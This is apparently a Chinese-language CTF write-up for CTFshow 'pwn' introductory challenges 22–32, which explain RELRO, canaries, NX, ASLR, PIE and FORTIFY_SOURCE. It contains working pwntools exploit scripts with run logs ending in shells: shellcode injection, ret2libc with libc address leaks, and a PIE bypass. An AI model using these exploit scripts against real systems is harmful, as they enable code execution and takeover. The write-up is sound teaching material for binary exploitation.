0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10 GNU_RELRO 0x0000000000000e10 0x0000000000600e10 0x0000000000600e10 0x00000000000001f0 0x00000000000001f0 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn.rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .dynamic .got
可以看到程序头多了GNU_RELRO,将.dynamic 、.got标记为只读权限(R),那么在重定向完成后,动态链接器就会将这个区域保护起来。
在写.got表的时候就会抛出异常,而写.got.plt依旧正常
pwn22 Hint:提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】} 例如 .got可写.got.plt表可写其地址为0x400820 0x8208820 最终flag为ctfshow{1_1_0x400820_0x8208820} 若某个表不存在,则无需写其对应地址 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
$ ./pwn 0x600fc0 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : What is RELRO protection ? * ************************************* Segmentation fault (core dumped)
在写.got表的时候就会抛出异常,而.got.plt不存在
故flag:ctfshow{0_0_0x600fc0}
分析过程: checksec查看保护
$ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位现在完全开启了RELRO保护
$ readelf -S pwn There are 28 section headers, starting at offset 0x1900: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.bu[...] NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400298 00000298 000000000000001c 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 00000000004002b8 000002b8 0000000000000090 0000000000000018 A 6 1 8 [ 6] .dynstr STRTAB 0000000000400348 00000348 000000000000004b 0000000000000000 A 0 0 1 [ 7] .gnu.version VERSYM 0000000000400394 00000394 000000000000000c 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 00000000004003a0 000003a0 0000000000000020 0000000000000000 A 6 1 8 [ 9] .rela.dyn RELA 00000000004003c0 000003c0 0000000000000030 0000000000000018 A 5 0 8 [10] .rela.plt RELA 00000000004003f0 000003f0 0000000000000048 0000000000000018 AI 5 21 8 [11] .init PROGBITS 0000000000400438 00000438 0000000000000017 0000000000000000 AX 0 0 4 [12] .plt PROGBITS 0000000000400450 00000450 0000000000000040 0000000000000010 AX 0 0 16 [13] .text PROGBITS 0000000000400490 00000490 0000000000000252 0000000000000000 AX 0 0 16 [14] .fini PROGBITS 00000000004006e4 000006e4 0000000000000009 0000000000000000 AX 0 0 4 [15] .rodata PROGBITS 00000000004006f0 000006f0 000000000000053a 0000000000000000 A 0 0 8 [16] .eh_frame_hdr PROGBITS 0000000000400c2c 00000c2c 000000000000003c 0000000000000000 A 0 0 4 [17] .eh_frame PROGBITS 0000000000400c68 00000c68 0000000000000100 0000000000000000 A 0 0 8 [18] .init_array INIT_ARRAY 0000000000600dc0 00000dc0 0000000000000008 0000000000000008 WA 0 0 8 [19] .fini_array FINI_ARRAY 0000000000600dc8 00000dc8 0000000000000008 0000000000000008 WA 0 0 8 [20] .dynamic DYNAMIC 0000000000600dd0 00000dd0 00000000000001f0 0000000000000010 WA 6 0 8 [21] .got PROGBITS 0000000000600fc0 00000fc0 0000000000000040 0000000000000008 WA 0 0 8 [22] .data PROGBITS 0000000000601000 00001000 0000000000000010 0000000000000000 WA 0 0 8 [23] .bss NOBITS 0000000000601010 00001010 0000000000000008 0000000000000000 WA 0 0 1 [24] .comment PROGBITS 0000000000000000 00001010 0000000000000029 0000000000000001 MS 0 0 1 [25] .symtab SYMTAB 0000000000000000 00001040 00000000000005d0 0000000000000018 26 42 8 [26] .strtab STRTAB 0000000000000000 00001610 00000000000001f1 0000000000000000 0 0 1 [27] .shstrtab STRTAB 0000000000000000 00001801 00000000000000fa 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), D (mbind), l (large), p (processor specific)
可以看到已经没有了.got.plt,而且.got也是不可写的
pwn23 Hint:用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接 ssh ctfshow@题目地址 -p题目端口号 不是nc连接
$ ssh ctfshow@题目地址 -p题目端口号 The authenticity of host 'lpwn,challenge.ctf,show]:28198 ([124.223.158.81]:28198)' can't be established. ECDSA key fingerprint is SHA256:PC6yCxGdKk51w8EXuEj0+Id4t/qL5AN1o0bgwj20yw. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added ' [pwn,challenge,ctf.show]:28198,[124.223,158.81]:28198’(EcDsA) to the list of known hosts.ctfshow@pwn.challenge.ctf.show's password: #输入密码 123456 进行连接 $ ./pwnme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : No canary found * ************************************* How to input ? ctfshow{...}
分析过程: checksec查看保护
$ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位开启NX保护,部分开启RELRO保护
IDA查看main函数:
stream = fopen("/ctfshow_flag" , "r" ); if ( !stream ) { puts ("/ctfshow_flag: No such file or directory." ); exit (0 ); } fgets(flag, 64 , stream); ... puts ("How to input ?" ); if ( argc > 1 ) ctfshow((char *)argv[1 ]); return 0 ; char *__cdecl ctfshow (char *src) { char dest[58 ]; return strcpy (dest, src); }
首先,程序尝试打开名为”/ctfshow_flag”的文件,并将文件指针赋值给 stream 变量。如果打开文件失败(文件不存在或无法访问),程序输出错误消息并终止。
如果成功打开文件,程序使用 fgets 函数从文件中读取最多64个字符到名为 flag 的缓冲区。
程序输出提示消息:”How to input ?”。
如果程序运行时传入了命令行参数( argc 大于1),则调用 ctfshow 函数,并将第一个命令行参数作为参数传递给该函数。
ctfshow 函数很简单,它接受一个字符串参数 src ,并使用 strcpy 函数将该字符串复制到名为 dest 的缓冲区中。然后,它返回指向 dest 缓冲区的指针。
这里仅仅是为了演示当未开启Canary保护时,输入字符串长度超过了 dest 缓冲区的大小,这可能导致缓冲区溢出漏洞。
详细原理在后续会再进行详细讲解。
pwn24 Hint:你可以使用pwntools的shellcraft模块来进行攻击
from pwn import *context.log_level = 'debug' io=process('./pwn' ) shellcode=asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
* ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : NX disabled & Has RWX segments * ************************************* jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri \x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀ \xe7k\xe8F $ cat /ctfshow_flag [DEBUG] Sent 0x12 bytes: 'cat ctfshow_flag\n' [DEBUG] Received 0x2e bytes: 'ctfshow{...}\n' ctfshow{...}
分析过程: checksec查看保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments
32位仅部分开启RELRO保护
可以看到存在一个RWX权限的段,即可读可写可执行的段
直接IDA查看main函数发现有一个ctfshow函数,但是无法跟进
那么就直接看汇编了:
.text:080484C6 public ctfshow .text:080484C6 ctfshow proc near ; CODE XREF: main+132↓p .text:080484C6 .text:080484C6 buf = byte ptr -88h .text:080484C6 var_4 = dword ptr -4 .text:080484C6 p_argc = dword ptr 8 .text:080484C6 .text:080484C6 ; __unwind { .text:080484C6 push ebp .text:080484C7 mov ebp, esp .text:080484C9 push ebx .text:080484CA sub esp, 84h .text:080484D0 call __x86_get_pc_thunk_bx .text:080484D5 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $) .text:080484DB sub esp, 4 .text:080484DE push 100h ; nbytes .text:080484E3 lea eax, [ebp+buf] .text:080484E9 push eax ; buf .text:080484EA push 0 ; fd .text:080484EC call _read .text:080484F1 add esp, 10h .text:080484F4 sub esp, 0Ch .text:080484F7 lea eax, [ebp+buf] .text:080484FD push eax ; s .text:080484FE call _puts .text:08048503 add esp, 10h .text:08048506 lea eax, [ebp+buf] .text:0804850C call eax .text:0804850E nop .text:0804850F mov ebx, [ebp+var_4] .text:08048512 leave .text:08048513 retn .text:08048513 ; } // starts at 80484C6 .text:08048513 ctfshow endp
函数开始时进行一些栈操作,保存寄存器的值。
调用 __x86_get_pc_thunk_bx 函数,获取当前的指令位置并存储在 ebx 寄存器中。
分配 0x84 字节的空间用于缓冲区,存储用户输入的数据。
调用 read 函数,从标准输入读取数据,并存储到缓冲区。
调用 puts 函数,将缓冲区的内容打印到标准输出。
通过调用 call eax 指令,以 eax 寄存器的值作为函数指针,跳转到缓冲区中存储的地址执
行。
之后是一些清理工作和函数返回的准备操作。
可能这里看得还是云里雾里,后面慢慢会逐步清晰起来。但实际上这题题目提示了可以使用pwntools的shellcraft模块进行攻击
shellcraft 模块是 pwntools 库中的一个子模块,用于生成各种不同体系结构的 Shellcode。
Shellcode 是一段以二进制形式编写的代码,用于利用软件漏洞、执行特定操作或获取系统权限。
shellcraft 模块提供了一系列函数和方法,用于生成特定体系结构下的 Shellcode。
那么我们可以直接尝试编写exp进行攻击
from pwn import * context.log_level = 'debug' io = remote("ip" , 端口) shellcode = asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
pwn25 Hint:开启NX保护,或许可以试试ret2libc
from pwn import *from LibcSearcher import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) main = elf.sym['main' ] write_got = elf.got['write' ] write_plt = elf.plt['write' ] payload = cyclic(0x88 +0x4 ) + p32(write_plt) + p32(main) + p32(0 ) +p32(write_got) + p32(4 ) io.sendline(payload) write = u32(io.recv(4 )) print (hex (write))libc = LibcSearcher('write' ,write) libc_base = write - libc.dump('write' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = cyclic(0x88 +0x4 ) + p32(system) + p32(main) + p32(bin_sh) io.sendline(payload) io.interactive()
* ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : NX disabled & Has RWX segments * ************************************* jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri \x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀ \xe7k\xe8F $ cat /ctfshow_flag [DEBUG] Sent 0x12 bytes: 'cat ctfshow_flag\n' [DEBUG] Received 0x2e bytes: 'ctfshow{...}\n' ctfshow{...}
分析过程: checksec查看保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位开启NX保护,部分开启RELRO保护
具体攻击手法为:ret2libc
(即先找到栈溢出漏洞,通过write函数泄露 write 函数的真实地址,根据泄露的 write 函数地址,使用 LibcSearcher 来搜索 libc 库中相应的函数地址和字符串地址,获取 system 函数和”/bin/sh” 字符串的地址。构造新的 payload,使用泄露的 system 函数和 “/bin/sh” 字符串的地址来进行get shell)
这里的内容为后续栈部分讲解内容,目前WP在前面不做详细讲解,目的仅为了演示在开启某些保护可以使用哪些攻击手法
pwn26 Hint:设置好 ALSR 保护参数值即可获得flag 为确保flag正确,本题建议用提供虚拟机运行
$ chmod +x pwn $ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : Please confirm your ASLR level first ! * ************************************* Here is your ASLR level: 2 If the result is 0, then you get the correct flag! If not,you will get a fake flag! flag is :ctfshow{0x400687_0x400560_0xc45b2a0_0x76042988a6b0} $ cat /proc/sys/kernel/randomize_va_space 2 rhea@rhea-VMware-Virtual-Platform:~$ sudo docker run -it --privileged --rm pwnenv_ubuntu24 /bin/bash root@5c9e7214e2da:/# echo 0 > /proc/sys/kernel/randomize_va_space root@5c9e7214e2da:/# cat /proc/sys/kernel/randomize_va_space 0 $ ./pwn Here is your ASLR level: 0 If the result is 0, then you get the correct flag! If not,you will get a fake flag! flag is :ctfshow{0x400687_0x400560_0x6032a0_0x7ffff7fbd6b0}
所以应该先执行echo 0 > /proc/sys/kernel/randomize_va_space[不行的话 sudo sh -c ‘echo 0 > /proc/sys/kernel/randomize_va_space’重定向]
再运行程序即可得到正确的flag
flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}
分析过程: ASLR(Address Space Layout Randomization)是一种操作系统级别的安全保护机制,旨在增加软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的位置,从而增加了利用软件漏洞进行攻击的难度。
开启不同等级会有不同的效果:
内存布局随机化: ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞。ASLR通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和代码的位置。
地址空间范围的随机化: ASLR还会随机化进程的地址空间范围。在传统的地址空间中,栈、堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。
随机偏移量: ASLR会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发现这些偏移量,才能准确地定位和利用漏洞。
堆和栈随机化: ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置,使得攻击者无法轻易地覆盖返回地址或控制程序流程。
在Linux中,ALSR的全局配置/proc/sys/kernel/randomize_va_space有三种情况:
0表示关闭ALSR
1表示部分开启(将mmap的基址、stack和vdso页面随机化)
2表示完全开启
ALSR
Executable
PLT
Heap
Stack
Shared libraies
0
×
×
×
×
×
1
×
×
×
√
√
2
×
×
√
√
√
2+PIE
√
√
√
√
√
pwn27 Hint:设置好 ALSR 保护参数值即可获得flag
$ chmod +x pwn $ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : Please confirm your ASLR level first ! * ************************************* Here is your ASLR level: 0 If the result is 0 or 1, then you get the correct flag! If not,you will get a fake flag! flag is :ctfshow{0x400687_0x400560_0x6032a0}
故flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}
分析过程: 同理pwn26
pwn28 Hint:设置好 ALSR 保护参数值即可获得flag
$ chmod +x pwn $ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : Please confirm your ASLR level first ! * ************************************* Here is your ASLR level: 0 flag is :ctfshow{0x400687_0x400560} ... Here is your ASLR level: 1 flag is :ctfshow{0x400687_0x400560} ... Here is your ASLR level: 2 flag is :ctfshow{0x400687_0x400560}
此时不管等级为0 1 2 ,函数本身地址不会变化(在未开启PIE的情况下)
故flag:ctfshow{0x400687_0x400560}
分析过程: 同理pwn26
pwn29 Hint:ASLR和PIE开启后
$ chmod +x pwn $ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : Please confirm your ASLR level first ! * ************************************* sh: 1: cannot create /proc/sys/kernel/randomize_va_space: Read-only file system Here is your ASLR level: 0 Let's take a look at protection: [*] ' /CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No executable: 0x55555540083a system@plt: 0x7ffff7df3750 heap: 0x5555556032a0 stack: 0x7fffffffe3d4 As you can see, the protection has been fully turned on and the address has been completely randomized! Here is your flag: ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}
故flag:ctfshow{Address_Space_Layout_Randomization&&Position Independent_Executable_1s_C0000000000l!}
分析过程: ASLR和PIE开启后,地址都会将随机化,这里值得注意的是,由于粒度问题,虽然地址都被随机化了,但是被随机化的都仅仅是某个对象的起始地址,而在其内部还是原来的结构,也就是相对偏移是不会变化的。
pwn30 Hint:关闭PIE后,程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) ctfshow = elf.sym['ctfshow' ] payload = b"A" * 140 +p32(elf.sym['write' ]) + p32(ctfshow) + p32(1 ) + p32(elf.got['write' ]) + p32(4 ) io.send(payload) write_addr = u32(io.recv(4 )) system_addr = write_addr - libc.sym['write' ] + libc.sym['system' ] binsh_addr = write_addr - libc.sym['write' ] + next (libc.search('/bin/sh' )) payload2 = b"B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr) io.send(payload2) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' argv=[b'./pwn' ] : pid 756 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [DEBUG] Sent 0xa0 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000080 41 41 41 41 41 41 41 41 41 41 41 41 b0 83 04 08 │AAAA│AAAA│AAAA│····│ 00000090 f6 84 04 08 01 00 00 00 18 a0 04 08 04 00 00 00 │····│····│····│····│ 000000a0 [DEBUG] Received 0x4 bytes: 00000000 80 1b e9 f7 │····│ 00000004 /CTFshow_pwn/exp.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes binsh_addr = write_addr - libc.sym['write' ] + next(libc.search('/bin/sh' )) [DEBUG] Sent 0x98 bytes: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 00000080 42 42 42 42 42 42 42 42 42 42 42 42 30 a4 dc f7 │BBBB│BBBB│BBBB│0···│ 00000090 f6 84 04 08 e8 ed f3 f7 │····│····│ 00000098 [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0xb bytes: b'exp.py\tpwn\n' exp.py pwn
分析过程: checksec检查保护
$ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位程序开启NX,部分开启RELRO保护
IDA查看跟进ctfshow函数:
ssize_t __cdecl ctfshow () { _BYTE buf[132 ]; return read(0 , buf, 0x100u ); }
可以看到这里存在明显的溢出点
buf ,用于存储从标准输入读取的数据。该变量在栈上分配,相对于函数栈帧指针 ebp 的偏移为-0x88 .调用 read 函数从标准输入读取数据。 read 函数的第一个参数是文件描述符,这里使用 0 表示标准入。第二个参数是指向存储数据的缓冲区的指针,这里是 &buf 。第三个参数是要读取的最大字节数,这里是0x100u ,即 256 字节。
程序中无system也没有“/bin/sh”字符串,也可以使用ret2libc的方法进行get shell 后面到该部分会进行详细讲解,同样在这里仅仅是为了演示在关闭Canary和PIE保护,开启NX保护时的一种攻击手法。
$ chmod +x pwn $ gdb ./pwn pwndbg> r ^c pwndbg> cyclic 500 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae pwndbg> c Continuing. aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae *EIP 0x6261616b ('kaab' ) pwndbg> cyclic -l kaab Finding cyclic pattern of 4 bytes: b'kaab' (hex: 0x6b616162) Found at offset 140
pwn31 Hint:开启 ALSR 和 PIE 的情况下,仍可能被利用
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) main = int (io.recvline(),16 ) base = main - elf.sym['main' ] ctfshow = base + elf.sym['ctfshow' ] write_plt = base + elf.sym['write' ] write_got = base + elf.got['write' ] ebx = base + 0x1fc0 payload = b"A" * 132 + p32(ebx) + b"AAAA" + p32(write_plt) + p32(ctfshow) + p32(1 ) + p32(write_got) + p32(4 ) io.send(payload) write = u32(io.recv()) libc_base = write - libc.sym['write' ] system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + next (libc.search('/bin/sh' )) payload = b"B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr) io.send(payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' argv=[b'./pwn' ] : pid 781 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [DEBUG] Received 0xb bytes: b'0x56555652\n' [DEBUG] Sent 0xa0 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000080 41 41 41 41 c0 6f 55 56 41 41 41 41 b0 54 55 56 │AAAA│·oUV│AAAA│·TUV│ 00000090 1d 56 55 56 01 00 00 00 dc 6f 55 56 04 00 00 00 │·VUV│····│·oUV│····│ 000000a0 [DEBUG] Received 0x4 bytes: 00000000 80 1b e9 f7 │····│ 00000004 /CTFshow_pwn/exp.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes binsh_addr = libc_base + next(libc.search('/bin/sh' )) [DEBUG] Sent 0x98 bytes: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 00000080 42 42 42 42 42 42 42 42 42 42 42 42 30 a4 dc f7 │BBBB│BBBB│BBBB│0···│ 00000090 1d 56 55 56 e8 ed f3 f7 │·VUV│····│ 00000098 [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0xb bytes: b'exp.py\tpwn\n' exp.py pwn
分析过程: checksec查看保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
32位程序仅关闭Canary保护
IDA查看main函数:
int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(stdin , 0 , 1 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); printf ("%p\n" , main); ctfshow(&argc); puts (asc_854); puts (asc_8C8); puts (asc_944); puts (asc_9D0); puts (asc_A60); puts (asc_AE4); puts (asc_B78); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Linux_Security_Mechanisms " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : Bypass ALSR & PIE " ); puts (" * ************************************* " ); write(0 , "Hello CTFshow!\n" , 0xEu ); return 0 ; }
可以看到程序先打印出main函数的地址,然后跟进ctfshow函数:
ssize_t __cdecl ctfshow () { _BYTE buf[132 ]; return read(0 , buf, 0x100u ); }
同样的,这里还是有溢出,但是开启了保护不同了,使用上一题的exp肯定是打不了了
既然程序已经给我们main函数的地址了,那么我们就可以通过计算偏移得到程序本身的加载地址
这也就是与上一题不同的地方
pwn32 Hint:FORTIFY_SOURCE=0:禁用 Fortify 功能。 不会进行任何额外的安全检查。 可能导致潜在的安全漏洞。ssh ctfshow@pwn.challenge.ctf.show -p28177
FORTIFY_SOURCE 是一个 C/C++ 编译器提供的安全保护机制,旨在防止缓冲区溢出和其他与字符串和内存操作相关的安全漏洞。它是在编译时自动插入的一组额外代码,用于增强程序对于缓冲区溢出和其他常见安全问题的防护。 FORTIFY_SOURCE 提供了以下主要功能: 1. 运行时长度检查:FORTIFY_SOURCE 会在编译时自动将长度检查代码插入到一些危险的库函数中,例如strcpy 、 strcat 、 sprintf 等。这些代码会检查目标缓冲区的长度,以确保操作不会导致溢出。如果检测到溢出情况,程序会立即终止,从而防止潜在的漏洞利用。 2. 缓冲区溢出检测:FORTIFY_SOURCE 还会将额外的保护机制添加到一些敏感的库函数中,例如 memcpy、memmove 、 memset 等。这些机制可以检测传递给这些函数的源和目标缓冲区是否有重叠,并防止潜在的缓冲区溢出。 3. 安全警告和错误报告:当 FORTIFY_SOURCE 检测到潜在的缓冲区溢出或其他安全问题时,它会生成相应的警告和错误报告。 FORTIFY_SOURCE 提供了一层额外的安全保护,它可以在很大程度上减少常见的缓冲区溢出和字符串操作相关的安全漏洞。 `**运行时检测到溢出会调用 abort() 终止程序,避免漏洞被利用。**` printf、sprintf、fprintf等)的格式化字符串占位符: 1.%p:以十六进制形式输出指针(内存地址)的值,通常用于调试。 2.%n:不输出内容,而是将当前已输出的字符数写入对应的参数(指针)位置。 变种: %hn:写入 2 字节(short类型)。 %hhn:写入 1 字节(char类型)。 %ln:写入 8 字节(long类型,64 位系统)。 3.%2$x:输出第 2 个参数的值,以十六进制形式表示。 $:指定参数位置(1\(表示第1个参数,2\)表示第 2 个,依此类推)。 x:以小写十六进制输出。
$ ssh ctfshow@题目地址 -p题目端口号 ... ctfshow@pwn.challenge.ctf.show's password: #输入密码 123456 进行连接 $ ./pwnme aaaaaa bbbbb ccccc ddddd * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaaa CTFshowPWN aaaaaa aaaaaa aaaaaa aaaaaa The source code of these three programs is the same, and the results of turning on different levels of protection are understood You should understand the role of these protections!But don' t just get a flagHere is your flag: ctfshow{...}
分析过程: checksec
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { __gid_t egid; const char *v4; int n; int num; char buf2[11 ]; char buf1[11 ]; egid = getegid(); setresgid(egid, egid, egid); logo(); v4 = argv[1 ]; *(_QWORD *)buf1 = *(_QWORD *)v4; *(_WORD *)&buf1[8 ] = *((_WORD *)v4 + 4 ); buf1[10 ] = v4[10 ]; strcpy (buf2, "CTFshowPWN" ); printf ("%s %s\n" , buf1, buf2); n = strtol(argv[3 ], 0 , 10 ); memcpy (buf1, argv[2 ], n); strcpy (buf2, argv[1 ]); printf ("%s %s\n" , buf1, buf2); fgets(buf1, 11 , _bss_start); printf (buf1, &num); if ( argc > 4 ) Undefined(); return 0 ; }
显然,第一题关闭了此保护,输入的argv1明显会导致buf1溢出,但是程序仍可以正常运行:
$ ./pwn aaaaaaaaaaaa bbbbbbbbbbbb 6 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaaaaaaaa CTFshowPWN a aaaaaaaaaaaa %2$x fbad2288
而在本题需要获取flag,仅仅需要关注到最后的Undefined函数:
